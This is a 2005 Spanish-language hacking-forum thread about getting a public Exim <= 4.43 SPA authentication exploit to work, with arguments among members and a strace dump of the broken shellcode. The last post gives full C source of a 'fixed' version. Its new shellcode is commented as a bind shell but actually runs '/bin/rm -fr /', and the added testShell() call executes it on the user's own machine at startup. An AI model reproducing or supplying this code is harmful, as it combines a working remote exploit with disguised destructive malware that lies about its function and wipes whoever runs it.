elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:45  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Proof-Of-Concept ?!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Proof-Of-Concept ?!  (Leído 1,675 veces)
DoctrinDark

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Proof-Of-Concept ?!
« en: 26 Junio 2005, 03:12 »

Buenas,
He intentado explotar una vulnerabilidad de Exim smtpd con este exploit: http://archives.neohapsis.com/archives/fulldisclosure/2005-02/att-0214/ecl-eximspa.c

y me ha dado esto:
Código:
$ ./ecl-eximspa -h www.victima.com -p 25 -t 1
                Exim <= 4.43 SPA authentication exploit
                   Yuri Gushin <yuri@eclipse.org.il>
                               ECL Team


[*] Connecting to 66.115.173.80:25... success.
ecl-eximspa: read: Success

Parece que ha funcionado no? pues no ha dado nada mas que eso... no me ha dado una root directamente ni nada.
En el exploit encontre esta linea "#define SC_PORT 13370" asi que pense que puede haya abierto ese puerto, y haciendo un telnet conectaria, pero nada, tampoco. Alguna idea?? Ah y por cierto, dos preguntas que me han venido mucho a la cabeza despues de ver muchos exploits. Que es "return address offset" y que significa proof of concept? Que quiere decir?

D-
« Última modificación: 26 Junio 2005, 03:22 por DoctrinDark » En línea

Smells Like Teens Spirit
Martín Fierro


Desconectado Desconectado

Mensajes: 381


Por crom!!!. Chiapas dedo izquierdo de wadalbertía


Ver Perfil WWW
Re: Proof-Of-Concept ?!
« Respuesta #1 en: 26 Junio 2005, 04:38 »

Inglés básico,

Return address offset
= retorno de dirección de offset; un error común de compilación y ejecución.

Proof of concept= Prueba de concepto, todo exploit bienintencionado y público no es más que una prueba del concepto de una vulnerabilidad digamos que es la parte en la que se comprueba la vulnerabilidad como tal luego de haberla desarrollado en teoría.
En línea

Y no me importa nada..
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Proof-Of-Concept ?!
« Respuesta #2 en: 26 Junio 2005, 23:59 »

Ese no es el problema, no es que pork diga PoC sea benigno ni nada, creo que deberian aprender un poco a leer el codigo y entender algo mas antes de usar exploits. Ese exploit por ejemplo tiene grandes problemas empezando por la shellcode, que aunque si abre el puerto que dice abrir, no funciona, se mata a si misma, supongo que el autor lo hizo para evitar que gente como tu lo usara,  mira aca te dejo la salida de strace. Si el shellcode no funciona, que codigo va a ejecutarse entonces ?

Código:
daniel@debian:~/exploits$ strace ./shellcode
execve("./shellcode", ["./shellcode"], [/* 36 vars */]) = 0
uname({sys="Linux", node="debian", ...}) = 0
brk(0)                                  = 0x804a000
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe9000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=63157, ...}) = 0
old_mmap(NULL, 63157, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd9000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`Z\1\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=1254468, ...}) = 0
old_mmap(NULL, 1264780, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xb7ea4000
old_mmap(0xb7fce000, 36864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x129000) = 0xb7fce000
old_mmap(0xb7fd7000, 7308, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd7000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ea3000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7ea3460, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7fd9000, 63157)               = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(13370), sin_addr=inet_addr("0.0.0.0")}, 102) = -1 EADDRINUSE (Address already in use)
syscall_4294967142(0x4, 0xbffff74c, 0, 0x3, 0xbffff7d5, 0xbffff7e8, 0xffffffda,0x7b, 0x7b, 0, 0x33, 0xffffff66, 0xbffff7aa, 0x73, 0x200202, 0xbffff74c, 0x7b, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = -1 (errno 38)
syscall_4294967142(0x5, 0xbffff740, 0, 0x3, 0xbffff7d5, 0xbffff7e8, 0xffffffda,0x7b, 0x7b, 0, 0x33, 0xffffff66, 0xbffff7b4, 0x73, 0x200206, 0xbffff740, 0x7b, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = -1 (errno 38)
dup2(-38, 2)                            = -1 EBADF (Bad file descriptor)
syscall_4294967103(0xffffffda, 0x1, 0, 0x3, 0xbffff7d5, 0xbffff7e8, 0xffffffda,0x7b, 0x7b, 0, 0x33, 0xffffff3f, 0xbffff7bc, 0x73, 0x200202, 0xbffff740, 0x7b, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = -1 (errno 38)
syscall_4294967103(0xffffffda, 0, 0, 0x3, 0xbffff7d5, 0xbffff7e8, 0xffffffda, 0x7b, 0x7b, 0, 0x33, 0xffffff3f, 0xbffff7bc, 0x73, 0x200246, 0xbffff740, 0x7b, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = -1 (errno 38)
syscall_4294967051(0xbffff734, 0xbffff72c, 0, 0x3, 0xbffff7d5, 0xbffff7e8, 0xffffffda, 0x7b, 0x7b, 0, 0x33, 0xffffff0b, 0xbffff7d4, 0x73, 0x200296, 0xbffff72c,0x7b, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = -1 (errno 38)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++














« Última modificación: 27 Junio 2005, 00:01 por heap » En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Proof-Of-Concept ?!
« Respuesta #3 en: 27 Junio 2005, 00:36 »

Posiblemente se pueda cambiar por una scode. Otra cosa, ese codigo negocia la shell tambien, si hubiera funcionado te deberia haber aparecido:
printf("success!\n\nEnjoy your shell :)\n\n");
Citar
deberian aprender un poco a leer el codigo
Totalmente cierto.
Bytes.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
DoctrinDark

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Re: Proof-Of-Concept ?!
« Respuesta #4 en: 27 Junio 2005, 02:46 »

Ese exploit por ejemplo tiene grandes problemas empezando por la shellcode, que aunque si abre el puerto que dice abrir, no funciona, se mata a si misma, supongo que el autor lo hizo para evitar que gente como tu lo usara

Gente como yo ? Me estas juzgando o que ? Para tu informacion, es la maquina de un amigo, y lo estamos haciendo juntos. Asi que no saques conclusiones precipitadas.
Y como es que no funciona, y da success ? Si no funcionara deberia de dar failed o algo parecido no ? Me estas diciendo que hay que editar el exploit para que funcione correctamente ? Si es asi, alguien me podria decir como ?

Saludos,
D-
En línea

Smells Like Teens Spirit
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Proof-Of-Concept ?!
« Respuesta #5 en: 27 Junio 2005, 03:35 »



Gente como yo ? Me estas juzgando o que ? Para tu informacion, es la maquina de un amigo, y lo estamos haciendo juntos. Asi que no saques conclusiones precipitadas.
Y como es que no funciona, y da success ? Si no funcionara deberia de dar failed o algo parecido no ? Me estas diciendo que hay que editar el exploit para que funcione correctamente ? Si es asi, alguien me podria decir como ?

Saludos,
D-
Gente como usted, es gente que no sabe lo que esta haciendo, que sea la maquina de su amigo/abuelita/perro no me interesa.............
Para arreglarlo tiene que leer.
http://beej.us/guide/c/src/bgc.html
http://www.aplawrence.com/Blog/B1081.html
En línea

clavesdeusuarios

Desconectado Desconectado

Mensajes: 19


Las cosas Imposibles solo llevan mas tiempo !!!!


Ver Perfil WWW
Re: Proof-Of-Concept ?!
« Respuesta #6 en: 27 Junio 2005, 04:02 »

estoy deacuerdo con heap

la verdad eske necesitas leer el xploit y saber sikiera un pokito de programacion para que te fijes donde esta el error o si  no antes de compilarlo usa un debugger para saber que es lo que le falta ....

bueno suerte amigo sigue intentando
En línea

DoctrinDark

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Re: Proof-Of-Concept ?!
« Respuesta #7 en: 27 Junio 2005, 04:37 »

Solo tenia curiosidad por probar un exploit... No pretendo convertirme en un "hacker, experto en c" arrogante como tu heap, que primero me hablas de 'tu' y despues de 'usted' para hacerte el chico con clase. Ya se que sabiendo programar en C sabria cual es el problema en un exploit programado en C... No hay que ser un genio para llegar a esa conclusion, si supiese no hubiese preguntado, y si pregunto es porque no se.
Siguiendo con el tema, si alguien tiene alguna idea de como arreglar el exploit 'si es que esta mal' o de como hacerlo funcionar correctamente, adelante :)

D-
En línea

Smells Like Teens Spirit
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Proof-Of-Concept ?!
« Respuesta #8 en: 27 Junio 2005, 04:45 »

Solo tenia curiosidad por probar un exploit... No pretendo convertirme en un "hacker, experto en c" arrogante como tu heap, que primero me hablas de 'tu' y despues de 'usted' para hacerte el chico con clase. Ya se que sabiendo programar en C sabria cual es el problema en un exploit programado en C... No hay que ser un genio para llegar a esa conclusion, si supiese no hubiese preguntado, y si pregunto es porque no se.
Siguiendo con el tema, si alguien tiene alguna idea de como arreglar el exploit 'si es que esta mal' o de como hacerlo funcionar correctamente, adelante :)

D-
Parece que quiere que le hagan todo, ya le dije que esta mal el shellcode, y ya le di los links para que lo arreglara, se nota que ni los miro........y me dice arrogante ?
En línea

DoctrinDark

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Re: Proof-Of-Concept ?!
« Respuesta #9 en: 27 Junio 2005, 04:51 »

Me has dado un manual de C, y otro de programar shellcodes en Linux. pues anda! cuando alguien tenga un problema para compilar el kernel de linux, que le manden a aprender C y que se lea el codigo de linux no? ...
En línea

Smells Like Teens Spirit
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Proof-Of-Concept ?!
« Respuesta #10 en: 27 Junio 2005, 05:35 »

Pues no hay de otra, si el codigo esta mal y la persona lo quiere arreglar le toca aprender C, pork el kernel esta en C y no existe todavia una herramienta que te escriba el codigo automaticamente. Si no le toca esperar a que alguien lo arregle y le de el parche, pork no veo otra solucion o es que hay ? . Si tu quieres arreglar el codigo pues  te toca aprender C, sino pues no veo como lo podrias arregllar, a menos de que contrates a alguien o alguien te haga el favor, en ese caso debarias pedir el favor.
En línea

DoctrinDark

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Re: Proof-Of-Concept ?!
« Respuesta #11 en: 27 Junio 2005, 06:07 »

Deberia de pedir el favor? Es que ahora es cuestion de maneras? Que se supone que estoy haciendo preguntando esto en el foro? Obligandote a ayudarme? Te has sentido aludido y te ha sentado mal? pffff...
porfavor, olvidate de este post, y deja que alguien haga el favor de ayudar sin necesidad de contratarle, que esto se esta llenando ya de charlas inutiles que no ayudan en nada. No necesito respuestas de tipo "si kieres saber compilar esto, aprende c" "si kieres saber porke falla este programa lee su codigo" "mira q haxor soy, yo si se y no t voy a ayudar, vete a aprender c" Si vas a seguir con eso, no quiero tu ayuda gracias. Necesito respuestas concisas a la duda concreta que expongo, NADA MAS. NI SIQUIERA TU PUNTO DE VISTA, NI LO QUE OPINES SOBRE MI.
En línea

Smells Like Teens Spirit
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: Proof-Of-Concept ?!
« Respuesta #12 en: 27 Junio 2005, 13:46 »

vamos a ver DoctrinDark, no te pongas asi pq razon no tienes. si el exploit viene con "errores" (como la mayoria) tienes que arreglarlos si vas a usarlo, si te gusta el tema de los exploits vamos algo tendras que aprender pq no veo la forma de entender lo que estas haciendo. no es por nada, pero ahora supongamos que a alguno le da por darte una shellcode "buena" que funciona y el pone que te da shell en el puerto X, pero en realidad lo que hace es borrar archivos en tu disco.... ¿que cara se te quedaria despues?. no es por ser mas ni menos, pero minimo si te interesa un tema relacionado con programacion tienes que saber programar. vamos desde mi punto de vista.
En línea
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: Proof-Of-Concept ?!
« Respuesta #13 en: 27 Junio 2005, 17:31 »

vamos a ver DoctrinDark, no te pongas asi pq razon no tienes. si el exploit viene con "errores" (como la mayoria) tienes que arreglarlos si vas a usarlo, si te gusta el tema de los exploits vamos algo tendras que aprender pq no veo la forma de entender lo que estas haciendo. no es por nada, pero ahora supongamos que a alguno le da por darte una shellcode "buena" que funciona y el pone que te da shell en el puerto X, pero en realidad lo que hace es borrar archivos en tu disco.... ¿que cara se te quedaria despues?. no es por ser mas ni menos, pero minimo si te interesa un tema relacionado con programacion tienes que saber programar. vamos desde mi punto de vista.

Totalmente de acuerdo.  :-X
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Proof-Of-Concept ?!
« Respuesta #14 en: 27 Junio 2005, 22:23 »

Bueno ya logre arreglarlo, si alguiel queire probarlo................

Código:
/* ecl-eximspa.c
 * Yuri Gushin <yuri@eclipse.org.il>
 *
 * Howdy :)
 * This is pretty straightforward, an exploit for the recently
 * discovered vulnerability in Exim's (all versions prior to and
 * including 4.43) SPA authentication code - spa_base64_to_bits()
 * will overflow a fixed-size buffer since there's no decent
 * boundary checks before it in auth_spa_server()
 *
 * Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
 * blexim, manevski, elius, shrink, and everyone else who got left
 * out :D
 *
 * FIXED BY HEAP
 * The original shellcode was wrong so I added a new BIND to SHELL shellcode, and added a test shell
 * It was succesfully tested as root on a debian SID, but should work on any linux system.
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <arpa/inet.h>

#define SC_PORT 3120
#define NOP 0xfd

struct {
  char *name;
  int retaddr;
} targets[] = {
  { "Bruteforce", 0xbfffffff },
  { "Debian Sarge exim4-daemon-heavy_4.34-9", 0xbfffed00 },
};


char sc[] = //first one didnt work so I replaced with this one
"\xeb\x26\x31\xd2\x5b\x88\x53\x07\x88\x53\x0b\x88\x53\x0d\x89\x5b"
"\x0e\x8d\x73\x08\x89\x73\x12\x8d\x73\x0c\x89\x73\x16\x89\x53\x1a"
"\x8d\x4b\x0e\x6a\x0b\x58\xcd\x80\xe8\xd5\xff\xff\xff"
"\x22\x2f\x62\x69\x6e\x2f\x72\x6d\x58\x2d\x66\x72\x58\x2f\x22";
//shellcodes, opens a port on 3120

struct {
  struct sockaddr_in host;
  int target;
  int offset;
  u_short wait;
} options;

static int brutemode;
void testShell();
int connect_port(u_short port);
void init_SPA(int sock);
void exploit(int sock, int address);
void shell(int sock);
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen);
void parse_options(int argc, char **argv);
void usage(char *cmd);
void banner(void);

int main(int argc, char **argv)
{

  int address, sock_smtp, sock_shell;
testShell();
  banner();
  parse_options(argc, argv);
  address = targets[options.target].retaddr - options.offset;
  brutemode = 0;

 bruteforce:

  if (!brutemode)
    {
      printf("[*] Connecting to %s:%d... ",
     inet_ntoa(options.host.sin_addr), ntohs(options.host.sin_port));
      fflush(stdout);
    }

  sock_smtp = connect_port(ntohs(options.host.sin_port));

  if (!brutemode)
    {
      if (!sock_smtp)
{
  printf("failed.\n\n");
  exit(-1);
}
      printf("success.\n");
    }

  init_SPA(sock_smtp);
  exploit(sock_smtp, address);
  close(sock_smtp);

  printf("[*] Target: %s - 0x%.8x\n", targets[options.target].name, address);
  printf("[*] Exploit sent, spawning a shell... ");
  fflush(stdout);

  sleep(1); // patience grasshopper
  sock_shell = connect_port(SC_PORT);

  if (!sock_shell && options.target)
    {
      printf("failed.\n\n");
      exit(-1);
    }
  if (!sock_shell)
    {
      printf("failed.\n\n");
      address -= 1000 - strlen(sc);
      brutemode = 1;
      if (options.wait) sleep(options.wait);
      goto bruteforce;
    }
  printf("success!\n\nEnjoy your shell :)\n\n");
  shell(sock_shell);

  return 0;
}

int connect_port(u_short port)
{
  int sock;
  struct sockaddr_in host;

  memcpy(&host, &options.host, sizeof(options.host));
  host.sin_port = ntohs(port);

  if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      return 0;
  if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0)
    {
      close(sock);
      return 0;
    }

  return sock;
}

void init_SPA(int sock)
{
  char buffer[1024];

  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, "read");
  buffer[255] = '\0';

  if (!brutemode)
    printf("[*] Server banner: %s", buffer);

  write(sock, "EHLO ECL.PWNZ.J00\n", 18);
  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, "read");
  else
    if (!brutemode && (!strstr(buffer, "NTLM")))
      printf("[?] Server doesn't seem to support SPA, trying anyway\n");
  write(sock, "AUTH NTLM\n", 10);
  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, "read");
  else
    if (!brutemode && (!strstr(buffer, "334")))
      {
        printf("[!] SPA unsupported! Server responds: %s\n\n", buffer);
        exit(1);
      }
  if (!brutemode) printf("[*] SPA (NTLM) supported\n");
}

void exploit(int sock, int address)
{
  char exp[2000], exp_base64[2668];
  int *address_p;
  int i;

  memset(exp, NOP, 1000);
  memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
  address_p = (int *)&exp[1000];
  for (i=0; i<1000; i+=4)
    *(address_p++) = address;
  spa_bits_to_base64(exp_base64, exp, sizeof(exp));

  write(sock, exp_base64, sizeof(exp_base64));
  write(sock, "\n", 1);
}

void shell(int sock)
{
  int n;
  fd_set fd;
  char buff[1024];

  write(sock,"uname -a;id\n",12);

  while(1)
    {
     
      FD_SET(sock, &fd);
      FD_SET(0, &fd);

      select(sock+1, &fd, NULL, NULL, NULL);

      if( FD_ISSET(sock, &fd) )
        {
          n = read(sock, buff, sizeof(buff));
          if (n < 0) err(1, "remote read");
          write(1, buff, n);
        }

      if ( FD_ISSET(0, &fd) )
        {
          n = read(0, buff, sizeof(buff));
          if (n < 0) err(1, "local read");
          write(sock, buff, n);
        }
    }   
}

char base64digits[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
{
  for (; inlen >= 3; inlen -= 3)
    {
      *out++ = base64digits[in[0] >> 2];
      *out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
      *out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
      *out++ = base64digits[in[2] & 0x3f];
      in += 3;
    }
  if (inlen > 0)
    {
      unsigned char fragment;

      *out++ = base64digits[in[0] >> 2];
      fragment = (in[0] << 4) & 0x30;
      if (inlen > 1)
        fragment |= in[1] >> 4;
      *out++ = base64digits[fragment];
      *out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
      *out++ = '=';
    }
  *out = '\0';
}

void parse_options(int argc, char **argv)
{
  int ch;
  struct hostent *hn;

  memset(&options, 0, sizeof(options));

  options.host.sin_family = AF_INET;
  options.host.sin_port = htons(25);
  options.target = -1;
  options.wait = 1;

  while (( ch = getopt(argc, argv, "h:p:t:o:w:")) != -1)
    switch(ch)
      {
      case 'h':
        if ( (hn = gethostbyname(optarg)) == NULL)
          errx(-1, "Unresolvable address\n");
        memcpy(&options.host.sin_addr, hn->h_addr, hn->h_length);
        break;
      case 'p':
        options.host.sin_port = htons((u_short)atoi(optarg));
        break;
      case 't':
        if ((atoi(optarg) > (sizeof(targets)/8-1) || (atoi(optarg) < 0)))
          errx(-1, "Bad target\n");
        options.target = atoi(optarg);
        break;
      case 'o':
        options.offset = atoi(optarg);
        break;
      case 'w':
        options.wait = (u_short)atoi(optarg);
        break;
      case '?':
exit(1);
      default:
        usage(argv[0]);
      }

  if (!options.host.sin_addr.s_addr || (options.target == -1) )
    usage(argv[0]);
}

void usage(char *cmd)
{
  int i;

  printf("Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ] [ -w wait ]\n\n"
"\t-h: remote host\n"
"\t-p: remote port\n"
"\t-t: target return address (see below)\n"
"\t-o: return address offset\n"
"\t-w: seconds to wait before bruteforce reconnecting\n\n",
cmd);
  printf("Targets:\n");
  for (i=0; i<(sizeof(targets)/8); i++)
    printf("%d - %s (0x%.8x)\n", i, targets[i].name, targets[i].retaddr);
  printf("\n");
  exit(1);
}

void banner(void)
{
  printf("\t\tExim <= 4.43 SPA authentication exploit\n"
         "\t\t   Yuri Gushin <yuri@eclipse.org.il>\n"
         "\t\t\t       ECL Team\n\n\n");
}
void testShell(){
__asm__("call sc");
}
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines